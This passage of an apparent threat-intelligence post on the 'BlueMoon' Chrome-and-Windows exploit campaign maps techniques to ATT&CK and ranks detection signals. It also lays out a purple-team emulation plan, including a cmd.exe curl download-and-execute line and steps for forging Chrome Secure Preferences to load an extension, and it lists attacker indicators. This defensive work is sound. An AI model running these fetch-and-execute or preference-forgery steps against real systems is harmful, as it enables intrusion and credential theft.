| Lookalike vendor and delivery domains | Acquire Infrastructure: Domains | T1583.001 |
| User clicks the link | User Execution: Malicious Link | T1204.001 |
| V8 type confusion + WASM sandbox escape in the renderer | Exploitation for Client Execution | T1203 |
UA/OS gating in react.min.js; build check inside p2 | Execution Guardrails | T1480 |
| ALPC kernel LPE to escape the renderer sandbox | Exploitation for Privilege Escalation | T1068 |
| CreateProcessA shellcode stub injected into the Chrome browser process | Process Injection | T1055 |
Reflectively loaded p1 and p2 DLLs | Reflective Code Loading | T1620 |
curl from the browser process to fetch the PE | Ingress Tool Transfer | T1105 |
| DLL sideloading pairs (UTA0560, UNK_LateNight, UNK_DoubleCheck, UNK_QuietRacket) | Hijack Execution Flow: DLL | T1574.001 |
| MSI custom action executes JScript in-process | System Binary Proxy Execution: Msiexec; JavaScript | T1218.007; T1059.007 |
Scheduled Task persistence (Windows Scheduled System, EdgeCore_AutoUpdate, GeForceService) | Scheduled Task/Job; Masquerade Task or Service | T1053.005; T1036.004 |
CLSID InprocServer32 write (UNK_DoubleCheck) | Event Triggered Execution: Component Object Model Hijacking | T1546.015 |
| SUPERSTOMP tampers Secure Preferences to authenticate LONGTALE | Software Extensions: Browser Extensions | T1176.001 |
Host / process / security-software discovery inside p1 | System / Process / Security Software Discovery | T1082; T1057; T1518.001 |
| LONGTALE keylogging, clipboard capture, keyword screenshot | Input Capture: Keylogging; Clipboard Data; Screen Capture | T1056.001; T1115; T1113 |
| LONGTALE cookie and web-session-token theft | Steal Web Session Cookie; Browser Session Hijacking | T1539; T1185 |
| Bulk exfil to Cloudflare Worker C2 | Exfiltration Over C2 Channel; Web Protocols | T1041; T1071.001 |
| Google DoH TXT lookups to resolve the next-stage C2 URL (UNK_QuietRacket) | Web Service: Dead Drop Resolver; Application Layer Protocol: DNS | T1102.001; T1071.004 |
Where the detection windows are
This chain leaves more signal than the Lazarus-style rootkit chains we have covered before. There is no FudModule at the end of BlueMoon: the attacker owns the browser process, but not the kernel notification callbacks, the ETW providers, or the filesystem minifilters. The defender's problem is therefore different: the signal is there, and whether it clears your noise floor is what varies.
| Rank | Signal | Sensor |
|---|---|---|
| 1 | A Chromium browser process (chrome.exe, msedge.exe, brave.exe, vivaldi.exe) launching a child that writes a fresh executable or DLL into a user-writable path (%TEMP%, %APPDATA%, %LOCALAPPDATA%, C:\ProgramData\, C:\Users\Public\) and then runs it. The default kit does this via cmd.exe /c curl; two clusters changed the target directory or dropped the curl command line entirely, so anchor on the browser-process parent plus the write-then-execute, not on curl or on %TEMP% alone. The process tree by itself is noisy because Chromium browsers spawn cmd.exe /c for native messaging hosts. | EDR / Sysmon 1 + 11 |
| 2 | Non-chrome.exe writes to Secure Preferences; deletion of _encrypted_hash / super_encrypted_hash, or an extension added with no update_url. | Sysmon 11 / audit |
| 3 | Renderer→browser-process injection: OpenProcess (full access) + CreateRemoteThread into the browser process, and a renderer token that suddenly holds SeDebugPrivilege. | Sysmon 8/10, token telemetry |
| 4 | Scheduled tasks with known names, or a 5-minute cadence from a user-writable path (Windows Scheduled System, EdgeCore_AutoUpdate, GeForceService, MicrosoftEdgeUpdatesTaskMachine, Avpcheckup). | Security 4698 / TaskScheduler 106 |
| 5 | msiexec.exe with outbound HTTPS to a new domain (POST, tab-delimited body), especially *.cfargotunnel.com / *.workers.dev. GRIMWEDGE's whole channel. | Netflow / proxy |
| 6 | Chrome extension inventory drift: any extension with cookies + alarms + scripting installed outside the allowlist. | Chrome Enterprise |
| 7 | Forensic pivot, not live detection. The mutex Dataupcheckinfo in a memory image, or the sessionStorage key v8ctf_exp_attempt visible in a browser crash-dump: both are strong artefacts for confirming exposure after the fact, but almost no SOC monitors sessionStorage in flight, and the key does not survive tab close. | DFIR memory analysis |
The strongest signal is trivial to alert on: a browser process spawning a child that downloads a PE and runs it is something every EDR and every Sysmon deployment already sees. The next tier (rank 3) is the part earlier reporting tends to write off as "invisible": it is not invisible, it is just under-instrumented. A low-integrity renderer opening the broker process for full access and starting a remote thread in it is a strong behavioural signal if your sensor exposes ProcessAccess and CreateRemoteThread with granted-access masks. And a file-integrity signal on Secure Preferences (rank 2) is cheap and almost nobody runs it today. Those two are the gaps worth closing before the technique proliferates.
Concrete rules, matched to the sensor most SOCs already have:
- Process tree with data anchors. The alert to build is a Chromium browser process (
chrome.exe,msedge.exe,brave.exe,vivaldi.exe) whose child writes an executable or DLL to any user-writable path (%TEMP%,%APPDATA%\Microsoft\Windows\,%LOCALAPPDATA%,C:\ProgramData\,C:\Users\Public\) and launches it within seconds. The injection stub runs inside the browser process, so the browser process is what spawns the child; the renderer never appears in the ancestry. Keep two variants: the default kit'scmd.exe /c curlcommand line, and a curl-free variant where the browser process's direct child is simply a freshly written executable (UNK_QuietRacket's modifiedpp). The file-write and PE-execute anchors are what keep either rule quiet, because the naive parent-child alone fires on native messaging hosts. - Browser-process injection. Alert on
CreateRemoteThread/ProcessAccesswhere the source is a Chromium renderer (low integrity, sandbox flags) and the target is the browser process, and on any renderer token acquiringSeDebugPrivilege. Higher-fidelity than a string match onmsgbox.exe. - Secure Preferences integrity. Any non-
chrome.exewrite to%LOCALAPPDATA%\Google\Chrome\User Data\Default\Secure Preferences(and the Edge/Brave/Vivaldi equivalents). FIM or a targeted SysmonFileCreaterule handles this without noise. - Scheduled-task creation. Alert on the named tasks above, and on any five-minute-cadence task running a binary out of
%TEMP%,%APPDATA%,%LOCALAPPDATA%,C:\ProgramData\orC:\Users\Public\. msiexecnetwork traffic.msiexec.exemaking outbound HTTPS with no installer package on the command line, particularly with a tab-delimited POST body, is GRIMWEDGE's whole channel.- DNS to Cloudflare edges. Not blockable, but attributable. Sudden resolution to
*.cfargotunnel.com, or a*.workers.devhost resolved via Google DoH, paired with a fresh scheduled task or Chrome extension, is worth an alert. - Extension inventory. Managed browsers should already report extension inventory. If yours does not, a scheduled read of
PreferencesandSecure Preferencesis a few lines of PowerShell and returns strong signal cheaply.
Proofpoint publishes Suricata/Emerging Threats rules for the loader and beacon traffic (2071919–2071924). Volexity publishes a public YARA set covering LONGTALE, SUPERSTOMP, the GRIMWEDGE loader chain, the recon and LPE DLLs, and the V8 renderer exploit page. Import both verbatim rather than paraphrasing.
How to emulate this kill chain
An advisory tells you what happened somewhere else. Emulation tells you what your own environment would say. The question this campaign asks a purple team is narrow: of BlueMoon's observable behaviours, which ones alert in my SOC today, and how fast?
Run it in order. The value is in finding the earliest step your telemetry catches, because everything after that step is post-compromise firefighting. Do not weaponise the CVEs: the exploit primitives are not the point of the exercise, and every step below is designed to be reproduced with benign stand-ins.
- Delivery and gating. Land a benign HTML lure that redirects through a reflected XSS on a test domain into an iframe, and serve a UA-gated script that only logs whether the browser matches. Exercises
T1189,T1608.005,T1566.002,T1480, and answers whether your web proxy sees a redirect from a legitimate host to a newly registered destination. - Loud process tree, in three shapes. From a benign process with a signed-but-unusual parent, run
cmd.exe /c curl -f -sS -o "%TEMP%\benign_marker.exe" <url> && "%TEMP%\benign_marker.exe". Then repeat writing the marker to%APPDATA%\Microsoft\Windows\and toC:\ProgramData\, to confirm the widened path list from the detection table fires. Finally, run a curl-free variant where the parent directly writes and launches the marker, matching UNK_QuietRacket's modifiedpp. If your EDR does not alert on all three, nothing later in the chain will save you. - Renderer-style injection (optional, lab only). Reproduce the shape (a low-privilege process opening a higher-privilege one for full access and starting a remote thread) with a benign payload, to check whether rank-3 signals fire. Skip this if you cannot do it safely.
- Secure Preferences tamper, twice. Adapt a public forgery script to add a harmless test extension: delete the
_encrypted_hashfields, forge legacy MACs, recomputesuper_mac. Run it once against a default managed-browser build and verify (a) the file write raises a signal from an unexpected process, (b) the inventory drift reaches your policy service, and (c) Chrome accepts the profile silently. Then repeat withExtensionSettingsset toinstallation_mode: blockedandExtensionDeveloperModeSettingsdisabled, and confirm the extension does not load. That second run is what turns "installation_mode: blocked stops SUPERSTOMP" from an assertion into a claim you have evidence for. - Persistence. Create the observed scheduled tasks by name against a benign binary. Verify the named tasks fire the same audit rules as generic task creation, and that any five-minute-cadence task from a user-writable path is caught even when the name is unknown.
- Web-service C2. Register a domain, front it with a Cloudflare Worker, and beacon from
msiexec.exeand from a Chrome extension. Note which your netflow finds and which your egress proxy misses. The two channels are structurally different: the first is a process-attribution problem, the second an extension-inventory problem.
Read the result per technique, not per campaign. A single pass/fail for "BlueMoon" is useless; what you want is a verdict for each step above, rolled up by tactic, with the specific events that prove it.
A note on scope: emulation does not tell you whether your hosts were vulnerable to the ALPC bug, or whether Chrome auto-update reached every user before the exploit did. Those are patch-state and inventory questions, answered by Windows update-compliance reports and Chrome policy telemetry, not by a red-team run.
All of the above is a manual exercise: six phases, roughly twenty techniques, correlated by hand against whichever SIEM holds the logs. Most of the TTPs needed to emulate this kill chain (the delivery and gating stage, the process-tree and injection shapes, the Secure Preferences tamper, the persistence tasks and the web-service C2 channels) are catalogued in the framework, with the destructive exploit stages gated rather than executed. None of it is a prerequisite for the guidance above, all of which you can run by hand today.
What actually reduces exposure
- Compress your own rollout latency, and accept that during a true patch gap there is nothing to roll out. For the twenty-seven-day window, the fix existed only in Chromium source, not in any released Chrome channel, so channel-hopping does not help; only a source build would, which is not realistic for most fleets. What you can do is shrink the lag between a stable release shipping and your fleet actually running it: force relaunch with
RelaunchNotification/RelaunchNotificationPeriod, avoid longUpdatesSuppressedwindows, and monitor version compliance. That closes the smaller 152→153 window and future ones; it cannot close the upstream gap itself. Note that extended stable lags stable, so it is not a fast-track. Beta/dev receive fixes earlier but are not production channels. During the gap, compensating controls (below) are the real mitigation. - Alert on the shape, with anchors. A browser-process child that downloads a fresh PE or DLL and runs it within seconds is a payload-agnostic signal that survives whether the payload is GRIMWEDGE, ShadowPad or something not yet written, and whether it arrives via
curlinto%TEMP%or via a modified stub intoC:\ProgramData\. See the detection table for why the parent-child alone is not enough, and for the two command-line variants to cover. - Instrument Secure Preferences. File-integrity monitoring on the file, extension-inventory reporting from managed browsers, and an allowlist posture via
ExtensionSettings(defaultinstallation_mode: blocked, plusblocked_permissionsdenyingcookies+scripting+alarmsoutside a signed allowlist). Confirm on a build of your own that this policy prevents the tampered extension from loading, rather than trusting the recommendation. Turn off extension developer mode for standard users viaExtensionDeveloperModeSettings. - Treat the browser as an execution environment. LONGTALE is the interesting half of this campaign, not the exploit. A credential-stealer that never touches disk, never invokes a Win32 API, and talks only through
fetch()is a category most endpoint programmes are not funded to catch. If you have not run a browser-extension-compromise tabletop in the last twelve months, do it before the next kit does. - Treat newly registered infrastructure as a signal, not a filter. Every BlueMoon delivery domain in the two reports was registered within 48 hours of the campaign. Domain age is unloved, cheap, and low-noise at a proxy or mail gateway.
- Retire or isolate the builds the LPE actually reaches. The privilege-escalation step only lands on Windows 10 1809 through 22H2, Server 2019 and Server 2022, and the initial release of Windows 11 21H2 (build 22000). Several are on ESU or out of support. For a Windows 11 22H2 or later fleet this link of the chain does not fire, though the V8 half still does; where you still run the in-scope builds, that is the exposure to prioritise.
- Revise the "reported by a private researcher" heuristic. Public Chromium diffs feeding rapid weaponisation is not a one-off. If your risk model still reads that CVE line as reassuring, it is behind the threat.
Two of the three vulnerabilities in BlueMoon were fixed in the public upstream source of the browser before the campaigns ran, one of them (the V8 sort/fill bug) demonstrably twenty-seven days before Chrome stable shipped it. Your patch cadence is not designed for that. Design for it now, and stop treating "reported by a private researcher" as reassurance.
Indicators and sources
The two reports publish overlapping but non-identical indicator sets. Volexity's set is organised around the two clusters it tracked (UTA0560 and JungleBamboo) with full file hashes for the shared exploit stages; Proofpoint's is organised per cluster across all four it names. Import both indicator files at source rather than transcribing from here; the consolidated sample below is provided for orientation, not as a substitute. Treat every hostname and hash as a starting point for retro-hunting, not a blocklist to set and forget, because the delivery infrastructure was rotated per campaign.
Shared exploit stages (both vendors)
| Artefact | Type | SHA256 / value |
|---|---|---|
| page.html (V8 exploit) | HTML | 7a52ff23949edee8faa61ce0def6dbca8b7e5943c54d23376cc190762ea3985c |
| p1 recon DLL | Win64 DLL | b7b0cd6539464ab39c6526e499f86d611faa21c5af945535ebaf187cec543af1 |
| p2 LPE DLL | Win64 DLL | 51462a23ac25e1bd0e49b7cae7f3a71f8d2201e22d45175b587e4740b49863cc |
sessionStorage retry key | Host artefact | v8ctf_exp_attempt |
Per-cluster payloads and infrastructure
| Cluster | Indicator | Type | Role |
|---|---|---|---|
| TA412 / JungleBamboo | secboxes[.]com, msbenefit[.]com, gitprogram[.]com, attcdn[.]com | Domain | Delivery / download / exploit hosting |
| TA412 / JungleBamboo | ckiknalbeplpcpofpnabcnhjcegckfei | Extension ID | LONGTALE / GemStone |
| TA412 / JungleBamboo | extension-management-portal.centerfjdr658.workers[.]dev, extension-management-portal.kmjukilo-lkjh.workers[.]dev (Proofpoint); karlmalexander.workers[.]dev (Volexity) | Hostname | LONGTALE / GemStone C2. The two vendors list different Worker subdomains for the same extension C2; treat the *.workers.dev extension-management pattern as the durable indicator, not any single hostname. |
| UTA0560 | cloud.shinewrist[.]net, ocr[.]opusaccel[.]top, 206[.]166[.]251[.]164 | Domain / IP | Exploit hosting, GRIMWEDGE C2, shared host |
| UTA0560 | ircribbin77[@]hotmail[.]com | Phishing sender (also March 2026) | |
| UNK_LateNight | ms.checrity[.]com, 79.133.56[.]90 | Hostname / IP | ShadowPad C2, fallback C2 |
| UNK_LateNight | airproducts[.]ink, precipart[.]ink, rocketlabusa[.]ink, spectrolab[.]fit | Domain | Delivery (aerospace spoof) |
| UNK_DoubleCheck | brianwilli[.]com, 1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com, fracons[.]com | Domain / hostname | Download, R2 stage-2, C2 |
| UNK_DoubleCheck | Dataupcheckinfo | Mutex | Single-instance marker |
| UNK_DoubleCheck | HKCU\SOFTWARE\Classes\CLSID\{5D4CFCB7-222C-4CA3-96B6-1F8195FBBB4B}\InprocServer32 | Registry | COM-hijack persistence |
| UNK_QuietRacket | joinmacket[.]com, openlumakora[.]com | Domain | Delivery (attacker-registered) |
| UNK_QuietRacket | dns.elixnovorem[.]com, dns.getaiexo[.]com | Hostname | DoH TXT dead-drop resolver |
Primary sources. The two reports this post is built on are Volexity's "Mind the (Patch) Gap" and Proofpoint's "Once in a BlueMoon", both published 9 September 2026 and both crediting collaboration with Google's Threat Intelligence Group and Microsoft. Volexity's machine-readable indicators are in its threat-intel repository; Proofpoint's ET rule IDs are 2071919–2071924. The V8 root cause is documented in the reporter's own sort/fill writeup, and the Secure Preferences forgery technique in the Rubrik Zero Labs and Synacktiv writeups. Where this post could not independently verify a detail (the exact Chromium commit for CVE-2026-87491, the CVSS scores, the KEV listing date for the WebAssembly bug, and the specific KB article numbers), it says so in the relevant section and defers to the vendors.
Related reading. For TA412's earlier tradecraft, see our writeup on Judgment Panda's abuse of Dropbox as a C2 channel. For the framework behind the emulation plan, see the framework, and for our other threat-intel work see the threat-intel index.